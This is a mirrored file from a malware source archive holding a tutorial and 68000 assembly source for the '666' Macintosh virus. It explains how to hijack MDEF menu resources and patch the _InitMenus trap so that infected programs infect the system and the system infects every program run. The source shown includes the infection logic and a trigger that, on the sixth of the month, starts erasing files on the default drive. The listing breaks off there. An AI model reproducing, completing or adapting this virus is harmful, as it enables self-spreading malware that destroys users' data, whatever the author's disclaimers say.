mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
1303 lines
72 KiB
NASM
1303 lines
72 KiB
NASM
*****************************************************
|
|
* The 666 Malignant virus, version 1.1, by J.S.Bach *
|
|
*****************************************************
|
|
|
|
(This file is specifically formatted for use with the DOS viewer. if you want
|
|
to acquire the correct file, download it from the XTAR section from the
|
|
corresponding project.)
|
|
|
|
*************************************************************************
|
|
WARNING!!!!! THIS IS A MALIGNANT VIRUS. ON EVERY SIXTH OF THE MONTH, IT WILL
|
|
ATTEMPT TO ERASE ALL DOCUMENTS ON THE DEFAULT DRIVE!!! BE VERY CAREFUL WITH
|
|
IT. IN PARTICULAR, THE AUTHOR IS NOT RESPONSIBLE IF YOU SCREW UP YOUR DRIVE
|
|
WHILE EXPERIMENTING WITH IT. IT MAY ALSO DAMAGE YOUR DRIVE, SINCE IT MAY
|
|
ERASE INVISIBLE FILES AS WELL. THE AUTHOR IS NOT RESPONSIBLE IF YOU RELEASE
|
|
THIS VIRUS. IN PARTICULAR, YOU CAN BE HELD LIABLE FOR DAMAGES AND/OR
|
|
CRIMINALLY CHARGED IF YOU CAUSE DAMAGE TO ANOTHER COMPUTER USING THIS VIRUS.
|
|
YOU HAVE BEEN WARNED! THE AUTHOR IS CLEAR OF ANY RESPONSIBILITY HAS NOT, NOR
|
|
DOES HE PLAN TO RELEASE THIS VIRUS!!!!!
|
|
*************************************************************************
|
|
|
|
To compile the projects on this article, you will need the MPW package from
|
|
Apple computer. The URL is:<http://developer.apple.com/dev/tools/tools.shtml>
|
|
you can download MacsBug from there as well if you don't have it. WARNING:
|
|
you will also need some form of AV to track the virus. If you try to run the
|
|
virus without an AV, you are in for surprises!
|
|
|
|
|
|
INTRODUCTION
|
|
|
|
The 666 virus is a meticulous study on the latest Operating System (8.x) and
|
|
constitutes adequate proof that a successful system 8.x virus can still be
|
|
written on the Macintosh. In view of one of my previous articles, re the type
|
|
of code that new viruses must be written on, i have chosen to write this one
|
|
in 68000 asm, to make it backward and forward compatible. Many of you that
|
|
have seen my project PROTOTYPE.sea, may wonder why i have written this one in
|
|
asm. Well, no matter how good the THINK Pascal compiler is, it still has its
|
|
limitations. Most of the limitations i encountered were the difficulty of
|
|
predicting at run time the size of the virus dynamically. Well, the time has
|
|
come for a "real" asm virus. So here you have it. This virus has not been
|
|
tested fully on the older systems, namely from 6.0.7 up to but not including
|
|
8.x. I created it in 8.0, but there is no reason why it should not run on
|
|
older systems down to 6.0.7 for sure-maybe older, or on newer 8.1 and 8.2
|
|
systems. With that out of the way, let me remind you something else VERY
|
|
crucial: DO NOT RELEASE THIS VIRUS INTO THE WILD! I will bare no
|
|
responsibility if you do! You will be liable to criminal penalties if you
|
|
release it. You have been warned! Ok, that having been said, now we are ready
|
|
to analyze this virus and its behaviour.
|
|
|
|
PRELIMINARIES
|
|
|
|
As you well know if you know anything about mac programming, resources and
|
|
resource files are a very crucial part of the macintosh system. I will try to
|
|
present the basic ideas behind their operation on this article, but please
|
|
don't expect to be spoon fed. If you don't have the book "Inside Macintosh",
|
|
you will be losing much needed info. So, let us start. Any macintosh file has
|
|
two "forks" or segments, called respectivelly the "data" fork, and the
|
|
"resource" fork. You can think of the two forks of a file as basically a
|
|
double file access buffer, with each buffer accessing a different part of the
|
|
file. The data fork is where random data can get stored, and you access it,
|
|
with usual file operations depending on what your offset into the data is.
|
|
The resource fork though, is much more complicated. The macintosh "Resource
|
|
Manager" (the part of the OS that manages resource forks) deals with the
|
|
resource fork of a file in very specific ways. In particular, direct access
|
|
to a resource fork is not generally allowed, except in very special
|
|
circumstances. The way the RM (Resource Manager) deals with that fork, is
|
|
through a predefined set of toolbox routines, which manipulate resource data
|
|
for you. You can think of the resource fork of a file as a specialized data
|
|
base, in which you can add, remove or change data through the RM routines. I
|
|
will refer you to the Inside Macintosh volumes "Macintosh Toolbox Essentials"
|
|
and "More Macintosh Toolbox", the Resource Manager. The RM, creates an
|
|
internal data storage format for every resource fork of every file you
|
|
access, that contains various elements such as a resource map (map to the
|
|
resource fork data) and offsets to your resource data. Usually, this data is
|
|
completely invisible to the user as he/she doesn't need to worry about it.
|
|
The user can manipulate the data in the resource fork through a set of
|
|
predefined routines, which fetch the data, ready for you. The data that go
|
|
into the resource fork, thus, are called "resources". With ResEdit or
|
|
Resourcerer, open a file and see internally what kind of resources it
|
|
contains, for example. Resources have "types" and "id"s. Types are the means
|
|
of identification between different resources, and ids are the means of
|
|
identification between same resources. For example a resource 'DRVR' with
|
|
id=2387 is different from a resource 'DRVR' with id=5341. The reason for the
|
|
existence of resources, is simple. Macintosh programs need to have data that
|
|
will be easily localizable in a special form accessible to non-programmers.
|
|
Thus, all menus, windows, controls, and text, can be stored in a proprietary
|
|
format that's easy to deal with when one localizes the application. Ideally,
|
|
a Localizer, should alter only the program's resources, and the program
|
|
should run fine after that. Well, even code in old 680x0 machines was stored
|
|
in 'CODE' resources, but now things have changed.
|
|
|
|
NOTES ON THE PROPRIETARY CODE FORMATS ON THE OLD MACS AND NEW POWERMACS
|
|
|
|
The old Macs had a 600x0 Motorola processor and the code of the programs was
|
|
itself a resource (of type 'CODE') and was stored in the resource fork of the
|
|
program file. Many viruses were written till 1992-94 approximatelly when the
|
|
new PowerPC RISC chip was introduced with the new PowerMacs. The old 'CODE'
|
|
resource format was easy to manipulate (see my examples on Codebreakers #2
|
|
e-zine, or the project with the four viruses T4, CODE 32767, and the old MDEF
|
|
and WDEF viruses). The virus grabbed the CODE resource it wanted and altered
|
|
some entry and exit points, and appended itself either to the end of an
|
|
existing 'CODE' resource, or forced the entry point code ('CODE'=0) to call
|
|
the virus first. The new PowerPC chip has to deal with existing applications
|
|
though, so some way to execute 680x0 code had to be provided free of charge.
|
|
The people at Apple provided an emulation mechanism, built in the chip
|
|
itself. The emulator of the PowerPC chips is equivallen to a LC68020
|
|
processor with no floating point capabilities, since the PowerPC chip has
|
|
internal floating point itself natively. Thus, any PowerPC chip, can execute
|
|
up to 68020 code, successfully. A new question now arrises, that of the
|
|
format of the new application code. Unfortunatelly, Apple puts the code for
|
|
the PowerPC chip on the data fork, in a "container" called "fragment". The
|
|
processor reads some vital information from some resources, (namely 'cfrg')
|
|
and then jumps into the data fork. If an application has no 'CODE' resources,
|
|
it is called "native" to the PowerPC chip, and can only be run off the newer
|
|
chips. But an application can contain BOTH 'CODE' resources AND fragments in
|
|
the data fork. Then, the application will execute either code, depending on
|
|
which platform it is run. If it tries to run on a 680x0 machine, the
|
|
fragments are ignored and the 680x0 chip loads the 'CODE' resources and
|
|
executes them. If the application is run on a PowerMac, the loader looks for
|
|
'cfrg' resources, and if it finds one, it loads the fragments in the data
|
|
fork, ignoring the 'CODE' resources. Such an application is called "fat". To
|
|
summarize: we can have 1) a 680x0 'CODE' resource only application, 2) a code
|
|
fragment only application (called native to the PowerPC) and 3) a fat
|
|
application containing both. The rest of the resources in the application are
|
|
treated in exactly the same way. For example, the trap GetMenu(32) will fetch
|
|
a handle to a 'MENU' resource, regardless of where it comes from, whether
|
|
from code fragment code, or from a 680x0 'CODE' resource. (More on Handles
|
|
later). The problem that virus writters now face is obvious. While most of
|
|
the older viruses were successful in infecting 'CODE' resources, the newer
|
|
applications, (either the fat ones or the native ones) are going to be immune
|
|
to the virus. Well, the virus may still modify 'CODE' resources on a fat
|
|
application, but what's the point? Those resources will never get executed,
|
|
since if they run on a PowerPC machine, the loader ignores them. If they get
|
|
execyted on a 680x0, we are fine though. But what's the use? We are losing a
|
|
great percentage of the population this way. In actual estimates, 45% of the
|
|
macs are PowerMacs, and the percentage is growing fast, as Apple will
|
|
eventually dump the 680x0 scheme altogether. Support for them has already
|
|
gone off the deep end anyway. What can we do then? We can write our code in
|
|
PowerPC code! Yeah, and miss the already existing 55% of the older macs. No
|
|
way out? Well, the solution is definatelly 680x0 code, but executed in such a
|
|
way as to not interfere with the applications' code, whether it is a native
|
|
or a fat or a 680x0 application. We could in principle create a "fat" virus,
|
|
which would contain dual code and execute either one upon command. But why do
|
|
that since we have a wonderful emulator-the built in emulator of the PowerPC
|
|
chip in our hands? So the only viable solution to our dire need seems
|
|
resources of bypassable code, such as MDEFs, WDEFs and CDEFs. Thus, we can
|
|
hope to infect ANY kind of application, on ANY kind of mac, by carefully
|
|
utilizing those bypass resources. We then have the best of both worlds! Let's
|
|
see why:
|
|
|
|
THE MDEF RESOURCE
|
|
|
|
The resource that interest us in this case is the 'MDEF' resource, as it is
|
|
vital for the virus' survival. The reason why this is the case, is because
|
|
the RM has a very nice characteristic, which any carefully designed virus can
|
|
utilize to cause its own spreading. This characteristic is: Suppose you have
|
|
a file that contains the resource 'abcd' of id=x. When you open this file
|
|
internally, the RM loads that resource in memory. But suppose you have a
|
|
second file that also contains a resource 'abcd' of id=x. The RM loads the
|
|
second resource into memory and BYPASSES the old one!. That is, the second
|
|
instance of that same resource becomes active. This means that if i request
|
|
'what is a resource abcd=x' the RM will fetch the second instance. This is
|
|
trully wonderful!. Why? Because if a virus IS a (different in content) MDEF
|
|
resource than one that already exists with the same type and id, it will
|
|
bypass the old one and activate! Programs use this characteristic to draw
|
|
specialized menus, windows and controls. For example: The System file
|
|
contains a 'MDEF' resource of id=0 which is a Menu DEFinition function,
|
|
responsible for drawing any menu by default. So any program doesn't have to
|
|
worry about drawing its menus explicitly. BUT! if a program wants to draw a
|
|
special menu, say one with lots of pictures in it, or characteristics that
|
|
the regular MDEF does not provide (actually the system MDEF can draw pictures
|
|
inside menus but let's leave that alone) then all it has to do is include in
|
|
its resource fork a 'MDEF' resource. This MDEF will be just the compiled code
|
|
for the definition function that draws that specialized menu. The program
|
|
also needs to specify that this MDEF, say of id=78, is used when the Menu
|
|
manager draws the program menus. The way to do that, is to specify somewhere
|
|
in a 'MENU' resource the id of that included 'MDEF' (I will be using MENU
|
|
instead of 'MENU' from now on). To see that, open any application and edit it
|
|
with ResEdit. Open one of its MENU resources, and select from the 'MENU'
|
|
Menu, 'Edit MENU & Menu ID...'. You will see the id of the MDEF that's used
|
|
for that menu when the program executes. If you see 0, the menu manager uses
|
|
MDEF=0 to draw that menu. If you see any other id, the menu manager uses a
|
|
MDEF=that id to draw the menu. Wonderful. So why so much attention paid to
|
|
MDEFs? Well, you have guessed already that the virus will BE a MDEF. But, you
|
|
will ask, "isn't a MDEF just code for drawing a menu"? Well, the answer to
|
|
that is, "it MIGHT be..." Or better yet, "it should EVENTUALLY draw a menu".
|
|
That "eventually" is the key to the virus. We can write a MDEF that is NOT
|
|
code for drawing a menu, rather it is a virus, and when it finishes
|
|
executing, it can call indirectly the good old MDEF=0, i.e. the one that's
|
|
responsible for drawing anyway. In order for the Menu manager to call then
|
|
our virus, all we have to do is place it inside any file and change the MDEF
|
|
id of some MENU resource in that file to OUR id, so that the menu manager
|
|
uses the virus to "draw" the menu. Good. Now let's look at another basic
|
|
principle of the Mac OS, handles.
|
|
|
|
POINTERS AND HANDLES
|
|
|
|
On most machines out there, you are familiar with the notion of a 'pointer'
|
|
which is nothing more than a variable that holds the address of some data.
|
|
Pointers on the macintosh are implemented using pretty much the same
|
|
principle, except that the block that holds the data the pointer points to,
|
|
CAN NEVER MOVE in memory. The net result of this, is that if one allocates
|
|
many pointers (and the blocks that they point to), memory becomes fragmented.
|
|
That is, you may have large blocks of data scattered throughout the heap,
|
|
which have empty space between them, and in fact that space may be large, but
|
|
if you try to allocate another block, you may be unable to, because the empty
|
|
space is fragmented. It is very possible to have 10 megs of free space
|
|
between the blocks you have allocated, but you may be unable to allocate even
|
|
2megs, because the largest 'gap' between already allocated blocks may be less
|
|
than 2 megs. For example, suppose the gaps are 1, 1.3, 0.5, 0.7, etc. You get
|
|
a sum of 3.5 megs total empty space, but you are unable to allocate anything
|
|
more than 1.3megs. You get the idea. The way this problem is solved, is
|
|
through 'handles'. Handles are pointers to pointers. When a user requests a
|
|
block of memory, the Macintosh OS allocates (IF the user wants a handle) a
|
|
RELOCATABLE block of memory. How can a block be relocatable? Easy. The system
|
|
assigns a MASTER POINTER to the block in low heap. This block NEVER moves,
|
|
and holds always the address of the relocatable block. The system then
|
|
returns a Pointer to the Master pointer to the user. That is, the user gets a
|
|
pointer to the master pointer, called a handle. This handle simply holds the
|
|
address of the Master pointer. IF and WHEN the OS needs to move the block of
|
|
memory because of possible fragmentation-i.e. when the system COMPACTS the
|
|
heap, the OS updates the Master Pointer regarding the new address of the
|
|
block, but the user is free of the hassle, because he has a handle, which
|
|
ALWAYS points to the Master Pointer! Smart! Contrary to blocks that are
|
|
referred to through handles which are relocatable, blocks that are refered to
|
|
though regular pointers are IMMOVABLE. They can never move. That's why, most
|
|
Macintosh development takes place using LOTS of handles. Why the fuss with
|
|
handles? Because when you request a resource from a file, the resource
|
|
manager returns to you a resource Handle. Suppose you have the following
|
|
resource 'INTS' in one resource file: resource 'INTS', id=666 1 2 3 4 5 6
|
|
|
|
which has been declared in Pascal as: INTS=array[1..6] of integer;
|
|
INTSPtr=^INTS; INTSHandle=^INTSPtr;
|
|
|
|
var myINTSHandle:Handle; {generic handle}
|
|
|
|
You can add now this resource provided you have a valid memory handle on the
|
|
data. So essentially you would proceed as follows:
|
|
|
|
myINTSHandle:=NewHandle(SizeOf(INTS)); {allocate handle to block of 12 bytes}
|
|
HLock(myINTSHandle); {lock block so it doesn't move while we access}
|
|
INTSHandle(myINTSHandle)^^[1]:=1; INTSHandle(myINTSHandle)^^[2]:=2;
|
|
INTSHandle(myINTSHandle)^^[3]:=3; INTSHandle(myINTSHandle)^^[4]:=4;
|
|
INTSHandle(myINTSHandle)^^[5]:=5; INTSHandle(myINTSHandle)^^[6]:=6;
|
|
HUnLock(myINTSHandle); {unlock the memory so it is free to move again}
|
|
AddResource(myINTSHandle,'INTS',666,'my Integers');
|
|
if ResError<>noErr then DoError;
|
|
|
|
When you later request now this resource through the resource manager, you
|
|
call: myINTSHandle:=GetResource('INTS',666); In turn what this call does is
|
|
return to you a handle which can be pictured as follows:
|
|
|
|
<-------$AAB8:|$3450|<------
|
|
$3450:|1| | |
|
|
$3452:|2| (Master Pointer@$AAB8) |
|
|
$3454:|3| |
|
|
$3456:|4| |
|
|
$3458:|5| |
|
|
$345A:|6| myINTSHandle@$8762:|$AAB8|
|
|
|
|
Thus, in Pascal, you could get to the data in this case for example, by using
|
|
a dereference twice. So INTSHandle(myINTSHandle)^^[1]=1,
|
|
INTSHandle(myINTSHandle)^^[2]=2, etc. So now, all resource manager calls like
|
|
GetResource, Get1Resource, AddResource, etc, operate on handles. When a file
|
|
is opened, the resource manager allocates handles for all the resources that
|
|
are contained in the file. Thus the only thing we have to do is request one
|
|
to get access to the data. You have gotten the basic idea. With this out of
|
|
the way, we can proceed to analyze the general operating principles behind
|
|
the virus.
|
|
|
|
OPERATIONAL VIRUS PRINCIPLES-THE DOUBLE ACTION PRINCIPLE
|
|
|
|
Ok, suppose our infected file contains a viral MDEF=666, and one of the
|
|
file's MENU 'MDEF' id' has been changed to 666. This means that as soon as
|
|
the program starts executing, the Menu manager will try to draw the program's
|
|
menus, and in the process it will invoke our MDEF=666. Wonderful. Our virus
|
|
executes. What next? Well it should infect the System of course first! How
|
|
can this be done? One option would be to copy ourselves (as a MDEF=666 which
|
|
is running now) to the System file. Well, this is not such a good idea for
|
|
many reasons. The System file for one, is over 6megs in size and screwing
|
|
around with it while operating, is quite dangerous. In the best case, there
|
|
would be a tremendous delay re-writting the whole 6meg file when an infected
|
|
application executes. We don't want that. What else? We need to find a way to
|
|
activate the virus as long as the machine is operating. What if we write an
|
|
extension? Good idea. But what should this extension do? It should be able to
|
|
"install" a memory version of our virus, which will be kept alive until we
|
|
restart. How do we do that? With "trap patching" of course! If we patch a
|
|
suitable trap, then when ANY program calls this trap, the code in the trap
|
|
will force the program to be infected. For those of you who did not download
|
|
e-zine #2 from the codebreakers site, i will include the segment on trap
|
|
patching here, so you can have a complete understanding on the subject. Here
|
|
we go:
|
|
|
|
SYSTEM TRAPS AND TRAP PATCHING
|
|
|
|
As you know, the characteristsic look and feel of any Mac program is due
|
|
mainly to the extensive use of many System Traps that correspond to specific
|
|
routines in Inside Macintosh. For example, most of the procedures in IM
|
|
(Inside Macintosh) are actually routines that get executed when the processor
|
|
tries to execute an instruction of the form $Axxx. The 680x0 processor does
|
|
not recognize such instructions (as well as $Fxxx) and when it encounters
|
|
one, it generates an exception. An exception vector takes control and the
|
|
system calculates an address based on the number that follows the A digit.
|
|
The details are in IM. For example, the procedure call
|
|
"AddResource(theHandle,'CDEF',32,"myCDEF");" generates the following assembly
|
|
code:
|
|
|
|
00000008: 2F2E FFFC MOVE.L theHandle(A6),-(A7)
|
|
0000000C: 2F3C 4D44 4546 MOVE.L #$4D444546,-(A7); 'MDEF'
|
|
00000012: 3F3C 0020 MOVE.W #$0020,-(A7)
|
|
00000016: 486E FEFC PEA Name
|
|
0000001A: A9AB _AddResource
|
|
|
|
As you can see, the parameters are first pushed onto the stack
|
|
and then the trap $A9AB is executed. In reality, the trap is never executed.
|
|
It generates an exception that dispatches the PC onto some table
|
|
that contains the addresses of all the system routines.
|
|
The table looks something like this:
|
|
|
|
Trap # Routine Address
|
|
... ...
|
|
$A9AB $3501980 (routine address with index 171 of table)
|
|
$A9AC $9ACD0F0 (routine address with index 172 of table)
|
|
$A9AD $8709FFA (routine address with index 173 of table)
|
|
... ...
|
|
|
|
The System calculates the specifics of the dispatch based on
|
|
the binary representation of the trap:
|
|
$A9AB=1010100110101011
|
|
|
|
Bit 8 for example is the bit that charachterizes toolbox traps. The first 7
|
|
bits (from right) provide the index into the trap dispatch table. (Here
|
|
$AB=171). More details in Inside Macintosh. Now as you may have suspected, it
|
|
is obvious that ANY address can be installed in a specific trap dispach table
|
|
entry. For example, we don't have to have address $3501980 in entry 171. We
|
|
can install a different address, that corresponds to a different routine. But
|
|
because usually the functionality of the original needs to be preserved, we
|
|
need to be able to call the original routine as well. The way to do that is
|
|
called "Trap Patching". It is the process of installing a "patch" (head or
|
|
tail) to the actual routine's address. We can install something prior to
|
|
calling the original (called head patch) or something that post-processes the
|
|
original (tail patch). What follows is an example of how to write a routine
|
|
patch. For simplicity, I will use here the routine for
|
|
"DrawString(theStr:Str255)". The patch consists of two separate projects.
|
|
The actual patch code (an MPW asm file) and a THINK Pascal project that
|
|
creates an INIT that installs the new routine at startup.
|
|
|
|
File DrawStringPatch.a
|
|
STRING ASIS
|
|
|
|
INCLUDE 'SysEqu.a'
|
|
INCLUDE 'SysErr.a'
|
|
INCLUDE 'ToolEqu.a'
|
|
INCLUDE 'Traps.a'
|
|
|
|
SEG 'DrawStringPatch'
|
|
DrawStringPatch MAIN
|
|
Entry
|
|
BRA.S MyDrawString ;branch around next 4 bytes
|
|
OldDrawString
|
|
DC.L 0 ;original address is stored here!!
|
|
;what follows from here is the actual pre-processing code
|
|
MyDrawString
|
|
MOVEM.L A0-A4/D0-D7,-(SP) ;save registers
|
|
MOVE.W #4,-(SP) ;push integer 4 onto stack
|
|
_SysBeep ;sound the beeper
|
|
;end of pre-processing code
|
|
ExitPatch
|
|
MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers
|
|
MOVE.L OldDrawString,A0 ;get address of old DrawString
|
|
JMP (A0) ;jump to original DrawString Code
|
|
END
|
|
|
|
The build MPW commands to create the patch code segment:
|
|
|
|
asm -o DrawStringPatch.a.o DrawStringPatch.a
|
|
link DrawStringPatch.a.o -o PTCH.rsrc -t RSRC -c RSED -rt
|
|
'PTCH'=35 -ra DrawStringPatch=resSysHeap,resPreload,resLocked
|
|
|
|
File InstallDrawStringPatch.p
|
|
|
|
unit InstallAPatch;
|
|
interface
|
|
procedure Main;
|
|
implementation
|
|
const
|
|
_DrawString = $A884; {Trap number for DrawString routine}
|
|
type
|
|
PTCHHeader = record {look at the asm file}
|
|
BRAS: integer; {the first instruction is a BRA.S}
|
|
OriginalAddress: longint; {the place we store original address}
|
|
end;
|
|
PTCHHeaderPtr = ^PTCHHeader; {Master pointer}
|
|
PTCHHeaderHandle = ^PTCHHeaderPtr; {Handle}
|
|
procedure Main;
|
|
var
|
|
thePTCH: Handle;
|
|
begin
|
|
thePTCH := GetResource('PTCH', 35);{load the resource into mem}
|
|
if thePTCH <> nil then {if good handle}
|
|
begin
|
|
{Store OriginalAddress at header of resource. Look at asm file}
|
|
PTCHHeaderHandle(thePTCH)^^.OriginalAddress :=
|
|
NGetTrapAddress(_DrawString, ToolTrap);
|
|
{now set trap dispatch table address}
|
|
{to Entry Point of Patch (Entry))
|
|
NSetTrapAddress(Ord(thePTCH^), _DrawString, ToolTrap);
|
|
DetachResource(thePTCH); {detach from memory}
|
|
end;
|
|
end;
|
|
end.
|
|
|
|
Create the INIT with id=35 with the THINk Pascal project. After you assemble
|
|
the MPW asm file, open the code segment patch file with ResEdit and copy the
|
|
'PTCH' resource into the INIT which you created with the THINK Pascal
|
|
project. Then, put the INIT into your System folder. Be prepared for
|
|
thousands of beeps. OK, now for the analysis of what we have done: First the
|
|
MPW file. As you can see there are certain params for the assembler which you
|
|
should take for granted for now. The first instruction is a BRA.S
|
|
MyDrawString. This forces the PC to immediatelly go to label "MyDrawString".
|
|
Just to avoid hitting the actual address which is at "OldDrawString". So now,
|
|
we are in our space. We can do whatever we want. The original has not been
|
|
called yet and we have all the tools at our disposal. Here, we do something
|
|
simple, like sound the beeper. Next, after we are done with whatever we want
|
|
to do, we restore the regs, and load the original address from the place
|
|
where the Pascal INIT has put it at run time: At "OldDrawString". And finally
|
|
JMP to that location, which forces the original to be called. That's it. A
|
|
couple of things to note: We use a JMP and not a JSR. Can you tell why?
|
|
Because the original routine is responsible for returning to the caller of
|
|
the _DrawString trap. IF we wanted to do a tail-patch-i.e. if we wanted to
|
|
post-process the trap code, we would call JSR (A0) and the original routine
|
|
would return to us, first, we could then do post-processing and then return
|
|
to the caller! This is left as an exercise to the reader.
|
|
|
|
Continuing now our discussion on the 666 virus, we can create an Extension
|
|
file that will patch some trap and install our viral code into the system.
|
|
Which trap shall we patch? Well it depends on how many times we want our
|
|
virus to activate. I like simplicity, so i wanted the virus to activate ONE
|
|
time for every program run. Which trap gets used then only ONCE in any
|
|
macintosh application? Well, take a pick: Any mac program starts with the
|
|
following traps:
|
|
|
|
InitGraf(@thePort);
|
|
InitWindows;
|
|
InitMenus;
|
|
TEInit;
|
|
InitDialogs(nil);
|
|
|
|
So, the natural choice to pick would be some trap that has something to do
|
|
with menus. _InitMenus of course then is the likely candidate. We will patch
|
|
_InitMenus. By doing so, when any program starts, the moment it invokes this
|
|
trap, it will become infected, by virtue of our patched code that lies INSIDE
|
|
the trap itself which infects the file that has been run. Now you understand
|
|
the DOUBLE ACTION PRINCIPLE. It is the interplay between infected program and
|
|
the System. An infected program infects the system and an infected system
|
|
infects a running program. Without this principle, any virus is useless. Our
|
|
virus thus, will exhibit a dual behaviour, depending on whether it is running
|
|
from a program, or from the system. If it is running from a program, it just
|
|
needs to check the system and infect it if it is not infected. If it is
|
|
running from the system, it must become memory resident and infect any
|
|
running application. Ok, now that you have seen the general double principle
|
|
scheme, you will immediatelly recognize the two parts of the virus. Lets see
|
|
then the virus in its totality and start our analysis. You may want to print
|
|
out this manual so you can reference its various parts when you read the
|
|
analysis.
|
|
|
|
;***************************************************************
|
|
;WARNING!! THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF
|
|
;THIS PROGRAM. IN PARTICULAR, THE AUTHOR IS NOT RESPONSIBLE IF
|
|
;YOU TRY TO, OR RELEASE THE VIRUS. THE AUTHOR IS NOT RESPONSIBLE FROM
|
|
;CRASHES OR MISBEHAVIOUR CAUSED BY THIS PROGRAM IN ANY OPERATING
|
|
;SYSTEM. THIS PROGRAM IS PROVIDED AS A DEMONSTRATION VIRUS AND IS
|
|
;NOT INTENDED TO BE INSTALLED ON MACHINES THAT YOU HAVE NO CONTROL
|
|
;OVER. YOU HAVE BEEN WARNED: YOU ARE LIABLE TO CRIMINAL PENALTIES
|
|
;IF YOU RELEASE THIS VIRUS AND SPREAD IT IN EXECUTABLE FORM.
|
|
;WARNING!! THIS VIRUS WILL INFECT ANY OS FROM 6.0.7 UP TO 8.0,
|
|
;POSSIBLY 8.1 AS WELL. BE VERY CAREFULL WHEN YOU EXECUTE IT. IT
|
|
;WILL GRADUALLY INFECT ANY APPLICATION YOU RUN, AND MAY CAUSE
|
|
;CRASHES AND OTHER ILL BEHAVIOUR. IT WILL ALSO ERASE YOUR HARD DRIVE
|
|
;WHEN ITS TRIGGER DATE IS MET. YOU HAVE BEEN WARNED.
|
|
;***************************************************************
|
|
;666 VIRUS, VERSION 1.0, WRITTEN IN 68000 ASM USING MPW 3.3.1. IN
|
|
;PARTICULAR, YOU NEED MPW 3.3.1 OR HIGHER TO COMPILE THIS SOURCE.
|
|
;WRITTEN AND COMPLETED ON 13/5/98 BY J.S.BACH.
|
|
;***************************************************************
|
|
BLANKS ON
|
|
STRING ASIS
|
|
;include files for asm
|
|
INCLUDE 'SysEqu.a'
|
|
INCLUDE 'SysErr.a'
|
|
INCLUDE 'ToolEqu.a'
|
|
INCLUDE 'Traps.a'
|
|
INCLUDE 'Folders.a'
|
|
|
|
SEG '666' ;segment name
|
|
;***************************************************************
|
|
;System Variables
|
|
;***************************************************************
|
|
SystemMDEF EQU 0 ;offset of SystemMDEF var from Vars
|
|
Handle2Us EQU 4 ;offset of Handle2Us var from Vars
|
|
CurResFile EQU 8 ;offset of CurResFile var from Vars
|
|
ExtRefNum EQU 10 ;offset of ExtRefNum var from Vars
|
|
foundVRefNum EQU 12 ;offset of foundVRefNum from Vars
|
|
foundDirId EQU 14 ;offset of foundDirId var from Vars
|
|
INITRes EQU 18 ;offset of INITRes var from Vars
|
|
NewHandle EQU 22 ;offset of NewHandle var from Vars
|
|
bytes2copy EQU 26 ;offset of Bytes2Copy var from Vars
|
|
MENURes EQU 30 ;offset of MENURes var from Vars
|
|
ProcID EQU 6 ;offset into the 'MENU' resource handle
|
|
day EQU 4 ;offset into datetimerec
|
|
InitMenus EQU $A930 ;trap to patch
|
|
FileType EQU 32 ;offset to filetype into CInfoRec
|
|
|
|
;***************************************************************
|
|
;A4 always holds the address of our first var
|
|
;***************************************************************
|
|
MAIN
|
|
Entry
|
|
MOVEM.L A0-A4/D0-D7,-(SP) ;save registers
|
|
LEA Vars,A4 ;get globals address
|
|
CLR.W -(SP) ;room for refnum returned
|
|
_CurResFile ;return current resource file refnum
|
|
MOVE.W (SP)+,CurResFile(A4) ;put in storage
|
|
;***************************************************************
|
|
;first see if there is a 666 'INIT' resource in our file
|
|
;if there is, we are an INIT. If not, we are a MDEF
|
|
;***************************************************************
|
|
CLR.L -(SP) ;room for 'INIT' handle
|
|
MOVE.L #'INIT',-(SP) ;push resource type
|
|
MOVE.W #666,-(SP) ;push id=666
|
|
_Get1Resource ;load resource in mem
|
|
MOVE.L (SP)+,INITRes(A4) ;put handle in storage
|
|
BEQ.S MDEF ;if nil, run MDEF
|
|
;***************************************************************
|
|
;if we fall through, we are an INIT. So patch the _InitMenus trap
|
|
;***************************************************************
|
|
PatchInitMenus
|
|
MOVE.W #InitMenus,D0 ;trap number of _InitMenus in D0
|
|
_GetToolboxTrapAddress ;get its old trap number
|
|
LEA MyInitMenus,A1 ;address of patch in A1
|
|
MOVE.L A0,2(A1) ;stuff old address in patch header
|
|
MOVE.W #InitMenus,D0 ;trap number of _InitMenus in D0
|
|
LEA MyInitMenus,A0 ;load our address
|
|
_SetToolboxTrapAddress ;set to new address
|
|
MOVE.L INITRes(A4),-(SP) ;push handle to us
|
|
_DetachResource ;cause it to float and detach from file
|
|
ExitInit
|
|
MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers
|
|
RTS ;return to whoever called the INIT.
|
|
;***************************************************************
|
|
;The next code will be run if the virus gets executed from within
|
|
;an infected application.
|
|
;***************************************************************
|
|
;***************************************************************
|
|
;first get and store the address of our MDEF, i.e. ourselves
|
|
;and store it so we have a reference to ourselves.
|
|
;***************************************************************
|
|
MDEF
|
|
CLR.L -(SP) ;room for handle to MDEF resource
|
|
MOVE.L #'MDEF',-(SP) ;push MDEF type
|
|
MOVE.W #666,-(SP) ;push id=666
|
|
_GetResource ;get hold of our MDEF
|
|
MOVE.L (SP)+,Handle2Us(A4) ;put in Storage
|
|
;***************************************************************
|
|
;then get and store the address of the system MDEF=0
|
|
;if we don't have it already
|
|
;***************************************************************
|
|
CLR.W -(SP) ;refnum of system file (0)
|
|
_UseResFile ;use system res file
|
|
CLR.L -(SP) ;room for handle to MDEF=0 resource
|
|
MOVE.L #'MDEF',-(SP) ;push MDEF restype
|
|
CLR.W -(SP) ;push id=0
|
|
_Get1Resource ;get hold of it
|
|
MOVE.L (SP)+,SystemMDEF(A4) ;put in Storage
|
|
BNE.S CheckDate ;if non-nil, check date
|
|
_Debugger ;crash if we can't get a system MDEF!!!
|
|
;***************************************************************
|
|
;the following code will check if it is the virus's trigger date
|
|
;if it is, all hell breaks loose, and the virus starts deleting
|
|
;files. Be VERY careful with this virus.
|
|
;***************************************************************
|
|
CheckDate
|
|
MOVE.L Time,D0 ;get seconds since 1904
|
|
LEA DatTimeRec,A0 ;load address of DateTime record
|
|
_Secs2Date ;convert
|
|
CMP.W #6,day(A0) ;check day!
|
|
BNE.S InfectSys ;no trigger date, go to infect system
|
|
LEA HParamBlock,A0 ;parameter block
|
|
CLR.L ioNamePtr(A0) ;nil ionameptr
|
|
_GetVol ;get default volume
|
|
BNE ExitInfection ;exit on error
|
|
MOVE.W ioVRefNum(A0),-(SP) ;push vrefnum
|
|
MOVE.L #fsRtDirID,-(SP) ;push start directory
|
|
BSR EraseDrive ;hallelujah, brothers!!!!!
|
|
